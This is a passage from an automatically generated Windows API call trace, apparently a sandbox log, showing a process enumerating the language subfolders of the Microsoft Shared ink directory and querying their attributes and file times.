Shared\\ink\\cs-CZ" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0046.061] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0046.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee4ca0 [0046.062] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee4ca0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee4ca0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0046.062] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4ca0) returned 1 [0046.062] NtClose (Handle=0x170) returned 0x0 [0046.062] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0046.063] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0046.063] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.063] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0046.063] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0046.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0046.063] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0046.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0046.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0046.063] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0528 [0046.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0d90 [0046.063] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0046.063] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.063] GetLastError () returned 0x12 [0046.063] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0046.063] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0046.063] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.063] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.064] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.064] GetLastError () returned 0x12 [0046.064] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0046.064] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0046.064] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0046.064] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.064] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0046.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.064] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0046.087] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0046.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee4ca0 [0046.087] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee4ca0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee4ca0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0046.087] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4ca0) returned 1 [0046.087] NtClose (Handle=0x174) returned 0x0 [0046.087] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0046.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0046.087] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0046.087] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.087] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.088] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.088] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0046.088] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0046.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0548 [0046.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0e98 [0046.088] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.088] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.088] GetLastError () returned 0x12 [0046.088] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0046.088] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0046.088] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.088] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.088] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.088] GetLastError () returned 0x12 [0046.088] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0046.088] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0046.088] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0046.088] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.088] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0046.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.088] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0046.208] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0046.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee4ca0 [0046.209] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee4ca0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee4ca0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0046.210] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4ca0) returned 1 [0046.211] NtClose (Handle=0x170) returned 0x0 [0046.212] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0046.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.215] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0046.217] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.218] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0046.220] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0046.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0046.221] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0046.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0046.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0046.223] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0046.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0568 [0046.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0fa0 [0046.225] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0046.225] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.227] GetLastError () returned 0x12 [0046.227] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0046.229] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0046.231] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.232] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.232] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.233] GetLastError () returned 0x12 [0046.233] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.234] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0046.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0046.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.238] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0046.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.239] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0046.247] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0046.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee4ca0 [0046.251] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee4ca0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee4ca0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0046.251] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4ca0) returned 1 [0046.252] NtClose (Handle=0x174) returned 0x0 [0046.253] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0046.259] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0046.261] FindNextFileW (in: 